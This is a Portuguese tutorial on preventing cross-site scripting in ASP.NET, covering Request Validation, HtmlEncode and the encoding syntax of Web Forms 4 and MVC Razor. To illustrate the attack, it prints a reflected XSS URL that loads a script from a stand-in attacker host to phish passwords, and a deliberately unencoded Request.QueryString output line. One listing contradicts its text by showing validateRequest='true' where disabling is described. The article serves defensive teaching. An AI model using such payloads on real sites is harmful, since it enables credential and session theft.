Desenvolvimento - C#

Prevenindo ataques XSS em ASP.NET

Veja neste artigo algumas orientações para a criação de aplicações ASP.NET mais seguras, evitando assim que usuários mal-intencionados efetuem de forma deliberada ataques XSS (Cross Site Scripting) empregando instruções escritas em JavaScript.

por Renato Groffe



Ao se levar em conta atividades de desenvolvimento voltado à Web, um erro bastante comum é pressupor que uma aplicação dificilmente estará sujeita à ação de hackers. Diversas razões podem acarretar na falta de uma maior ênfase na implementação de mecanismos de segurança mais sofisticados: estimativas de que apenas um grupo limitado de usuários irá acessar o site considerado, pressões para uma entrega acelerada devido a prazos exíguos ou, não raro, a falta de um maior embasamento teórico no que diz respeito à construção de softwares seguros.

É inegável o fato de que qualquer site disponibilizado para acesso a partir da Internet poderá ser, em algum momento, alvo de diversas formas de ataque. As motivações para isto são as mais variadas, passando por tentativas de obtenção de vantagens financeiras de forma ilícita, roubo de informações de caráter privativo com o intuito de se praticar algum crime, protestos de cunho político ou contra alguma organização, a intenção de prejudicar a imagem de uma pessoa ou instituição ou, pura e simplesmente, pelo desejo de expor aos outros um conjunto de conhecimentos e habilidades técnicas. Importante frisar que essas situações não se restringem tão somente à Internet, uma vez que sites hospedados em redes privadas corporativas também podem ser vítimas de ações deste gênero.

A execução de ataques a sites segue duas linhas básicas de atuação e que, em muitos casos, são combinadas:

  • A busca por vulnerabilidades técnicas, aproveitando-se para isto de prováveis falhas na concepção do projeto;
  • A exploração do lado emocional do usuário, em uma aplicação direta do conceito conhecido como Engenharia Social. Esta última engloba práticas como ameaças, atiçar a curiosidade de usuários com factóides, a apelação para a solidariedade ou lembranças pessoais, dentre outros aspectos: tais ações são desencadeadas com a clara intenção de roubar informações de usuários, servindo de base para outros atos posteriores.

Muitos artefatos técnicos já foram elaborados a fim de evitar ou, dentro do possível, coibir os impactos decorrentes de vários tipos de ataque. Já no que se refere à Engenharia Social, campanhas e a orientação contínua são talvez a melhor forma de mitigar a atuação de hackers. Apesar de tudo isto, é importante ter consciência de que uma aplicação nunca será 100% segura; novos procedimentos sempre irão surgir, permitindo que pessoas agindo de má fé causem transtornos aos responsáveis por um sistema.

O foco deste artigo é discutir o que são ataques XSS, assim como de que modo aplicações ASP.NET podem ser protegidas das consequências causadas pelos mesmos. XSS (sigla do inglês "Cross-Site Scripting") é técnica em que os responsáveis por um ataque "injetam" instruções JavaScript em páginas de um site, com o objetivo de que o resultado da execução destes blocos de código esteja visível para outros usuários.

Algumas redes sociais já foram vítimas de ações deste tipo em ocasiões recentes. Dentre os problemas ocasionados por essa prática podem estar: o roubo de informações de usuários através do acesso à sessão ou cookies nos respectivos computadores, a obtenção de senhas a partir da apresentação de telas falsas de login, o responsável por um ataque se passar pela vítima e denegrir esta a imagem desta última etc.

Um ataque XSS pode ser conduzido de vários modos:

  • Por meio da inclusão de código JavaScript em um parâmetro pertencente a uma URL. Este tipo de ação é normalmente associado a e-mails que correspondem a mensagens de spam, com os endereços a serem atacados apontando para o site alvo e contendo o script que dispara a ação (muitas vezes referenciando um arquivo de código em um domínio pertencente a quem está praticando o ataque);
  • Através do preenchimento de campos que constituem um formulário Web, informando texto com instruções embutidas. Esta é uma prática bastante frequente em ataques direcionados a blogs, fóruns e redes sociais.

Imaginando uma aplicação em que um usuário efetua o login e, posteriormente, é redirecionado para uma tela principal, isto poderia acontecer por meio de uma URL como a seguinte:

http://www.aplicacaoexemplo.com.br/Default.aspx?usuario=codigousuario

Em que “codigousuario” indica a conta com a qual o usuário se autenticou no site.

Supondo agora que uma determinada pessoa acessou a aplicação e não fez o logoff de sua sessão dentro da mesma. Após certo tempo, o usuário recebeu um e-mail no qual o interessado em executar um ataque se faz passar pela empresa que mantém o site, com um link disfarçado que redireciona o mesmo para uma URL como a indicada a seguir:

http://www.aplicacaoexemplo.com.br/Default.aspx?usuario=codigousuario<script src='http://sitedesconhecido.com/ataque.js'>solicitarSenha();</script>

Percebe-se que o parâmetro “usuario" contém também uma referência para um arquivo Javascript localizado em outro site, caracterizando assim um ataque XSS (Figura 1). O código existente neste endereço externo solicitaria que o usuário informasse novamente sua senha e, em caso afirmativo, receberia a informação desejada, podendo inclusive proceder com o roubo de outras informações (presentes em cookies e na sessão ativa naquele instante).

Um exemplo de ataque XSS (a partir do Mozilla Firefox)

Figura 1: Um exemplo de ataque XSS (a partir do Mozilla Firefox)

Com a aplicação que foi alvo da ação demonstrada por este exemplo tendo sido criada sob a tecnologia ASP.NET, o ataque ilustrado aqui pode ter sido ocasionado por uma instrução (dentro de um arquivo .aspx) como a que consta na Listagem 1:

Listagem 1: Instrução em ASP.NET que pode ocasionar um ataque XSS

<%= Request.QueryString["usuario"] %>

Através do método Request é acessado o conteúdo do parâmetro “usuario” (presente na URL que serve de base para o ataque). Ao executar essa instrução, além da exibição do provável login do usuário, uma instrução JavaScript apontando para o site externo desencadeia a ação XSS como resposta ao processamento da página. O browser do usuário irá então exibir uma tela de login, com usuários menos atentos fornecendo sua senha e podendo ser vítimas de crimes virtuais futuramente.

Considerando todo este contexto, o ASP.NET foi preparado com alternativas a fim de prevenir ataques XSS em suas duas grandes frentes de desenvolvimento: os modelos Web Forms e MVC. Deve-se ressaltar que ambas as tecnologias contam com o devido suporte, a fim de evitar/atenuar ações deliberadas via Javascript.

O ASP.NET dispõe desde suas primeiras versões de um recurso conhecido como Request Validation. Esse mecanismo (que está habilitado por default) evita que a aplicação Web seja afetada por informações contendo tags HTML: um erro é gerado automaticamente, impedindo que o texto contendo Javascript venha ser apresentado em tela e, consequentemente, tenha as instruções em questão executadas.

A Figura 2 é um exemplo do recurso Request Validation em ação. Informou-se via browser a URL:

http://localhost:2707/Default.aspx?usuario=joao_silvaalert('Conforme já mencionado, isto foi um exemplo de injeção de script.');

Além de um código de login (“joao_silva”), nota-se que o parâmetro de nome “usuario” contém ainda uma instrução JavaScript (função “alert”, empregada para a exibição de mensagens) envolta por uma tag . Partindo da premissa que o valor do parâmetro “usuario" seria exibido em tela, o engine do ASP.NET proibiu que o processamento finalizasse, lançando uma exceção.

Erro gerado automaticamente pelo mecanismo Request Validation

Figura 2: Erro gerado automaticamente pelo mecanismo Request Validation

Por mais que o comportamento padrão do recurso Request Validation seja de grande valia, haverá casos em que será necessária a apresentação de informações que contenham elementos HTML mesclados a textos. Isso é comum no que se refere a soluções como fóruns, blogs e páginas que exibam outros tipos de informação com uma formatação especial (artigos, textos acadêmicos, notícias etc.).

Torna-se necessário assim desativar o mecanismo Request Validation, com tal procedimento podendo ser realizado de duas maneiras detalhadas a seguir.

A primeira forma de desabilitar o recurso Request Validation está indicada na Listagem 2: o atributo “requestValidation” da diretiva Page (dentro do arquivo .aspx correspondente) foi marcado com o valor “false”, de modo que o mecanismo de validação seja desativado apenas para aquela página específica.

Listagem 2: Desativando o mecanismo Request Validation em um arquivo .aspx

<%@ Page ... ValidateRequest="false" %>

Já o segundo modo possível para se desativar o recurso Request Validation consiste em alterar o atributo “validateRequest”, dentro do elemento “pages” (o qual pertence ao item “system.web”) no arquivo Web.config, configurando o mesmo como “false” (conforme apresentado na Listagem 3).

Listagem 3: Desativando o mecanismo Request Validation a partir do Web.config

<?xml version="1.0"?>
<configuration>
  ...
  <system.web>
    ...
    <pages validateRequest="true"></pages>    
    ...
  </system.web>
  ...
</configuration>

Caso o atributo “ValidateRequest” não tenha sido declarado no interior da diretiva “Page” de uma página Web Forms, o engine do ASP.NET irá considerar o que consta no arquivo Web.config. Logo, esta característica determina que aquilo que se especificou em uma página prevalece sobre o que se definiu num arquivo de configuração.

Em se tratando de aplicações geradas a partir do ASP.NET 4, é possível ainda que exista a necessidade se alterar o atributo “requestValidationMode” do elemento httpRuntime para o valor “2.0”, de forma que a aplicação considerada também consiga processar texto que contenha tags HTML. Esta modificação resulta na execução do mecanismo de Request Validation seguindo, basicamente, o mesmo comportamento de versões anteriores do ASP.NET. A Listagem 4 demonstra um exemplo disto.

Listagem 4: Modificando o atributo requestValidationMode no Web.config

<?xml version="1.0"?>
<configuration>
  ...
  <system.web>
    ...
    <httpRuntime requestValidationMode="2.0"/>    
    ...
  </system.web>
  ...
</configuration>

Diante do que foi exposto até aqui, desativar o recurso conhecido como Request Validation acaba culminando em uma situação preocupante: a aplicação que está passando por esse ajuste ficará sujeita a ataques XSS e outras ações maliciosas envolvendo Javascript. Isto implica em um esforço extra da parte dos desenvolvedores, obrigando estes últimos a tratarem informações fornecidas via formulários ou parâmetros em uma URL, evitando ou coibindo hipotéticos efeitos danosos ao sistema e aos usuários deste.

É primordial que se parta sempre de uma abordagem fundamentada em um velho preceito da Segurança da Informação: nunca confiar no fato de que os usuários fornecerão dados válidos e que não causarão problemas ao sistema (e a outras pessoas que venham a dispor deste).

Levando em conta aplicações Web anteriores à versão 4 da tecnologia Web Forms e do ASP.NET MVC 3 Razor, este problema pode ser evitado através da utilização do método HtmlEncode do objeto Server (conforme exemplificado na Listagem 5). A operação HtmlEncode irá converter caracteres como “<”, “>”, “/” para o equivalente no formato HTML, de maneira que instruções contidas num texto não sejam interpretadas como script ou mesmo elementos visuais.

Listagem 5: Evitando ataques XSS com o método HtmlEncode do objeto Server

<%= Server.HtmlEncode(TextoASerExibido) %>

A partir do ASP.NET 4, a tecnologia Web Forms disponibilizou uma nova sintaxe, a qual dispensa a utilização do método HtmlEncode do objeto Server (Listagem 6). Basicamente, este novo tipo de expressão substitui o sinal de igual (“=”) que existia anteriormente por dois pontos (“:”). Nota importante: a sintaxe antiga também continua válida nesta nova versão do ASP.NET.

Listagem 6: Instrução que evita ataques XSS no ASP.NET Web Forms 4

<%: TextoASerExibido %>

Já com o ASP.NET MVC 3 Razor, introduziu-se o operador “@” (Listagem 7). Valores que são repassados a este último também passam por um processo similar àquele de se invocar Server.HtmlEncode, evitando assim que código JavaScript seja injetado na página.

Listagem 7: Instrução que evita ataques XSS no ASP.NET MVC 3 Razor

@TextoASerExibido

Um alerta importante precisa ser feito a respeito dos Data-Bound Controls do ASP.NET Web Forms. Controles como GridView e Repeater não dispõem de uma sintaxe própria (como aquela baseada em “<%:” e “%>”) para tratar texto que contenha scripts. Neste caso, utiliza-se o método Eval para acessar a propriedade ou campo cujo valor será exibido, acionando ainda o método HtmlEncode a fim de evitar a injeção de código JavaScript (o uso do método Bind não é possível nestes casos). A Listagem 8 apresenta um exemplo disto.

Listagem 8: Evitando ataques XSS em um Data-Bound Control

<asp:GridView ID="grdExemplo" runat="server">
    <Columns>
        ...

        <asp:TemplateField>
            <ItemTemplate>
                <%# Server.HtmlEncode((string)Eval("Observacao")) %>
            </ItemTemplate>
        </asp:TemplateField>
        ...
    </Columns>
</asp:GridView>

Browsers também podem contar com meios para coibir a ação de scripts maliciosos. É o caso do Internet Explorer 9: este navegador possui um mecanismo capaz de modificar o resultado da execução de páginas Web, com isso acontecendo em situações nas quais um ataque do tipo XSS se revelar como iminente.

A questão da segurança em aplicações de software é um assunto muito extenso, envolvendo não apenas a preocupação com artifícios técnicos, como também toda uma política de conscientização dos usuários inseridos naquele contexto. Conforme mencionado aqui, em muitas situações os responsáveis por ataques tentam coagir ou, mesmo, ludibriar prováveis vítimas, a fim de com isto conseguirem seus objetivos (roubo de senhas e outras informações privativas, apropriação indevida de recursos financeiros etc.).

Procurei neste texto apresentar alguns recursos para tornar aplicações ASP.NET mais seguras, permitindo uma maior proteção dos sites criados em .NET diante de ataques do tipo XSS. Espero que esse artigo possa lhe auxiliar em seus projetos, contribuindo para o desenvolvimento de soluções menos propensas a ações maliciosas baseadas em código JavaScript. Até uma próxima oportunidade!

Renato Groffe

Renato Groffe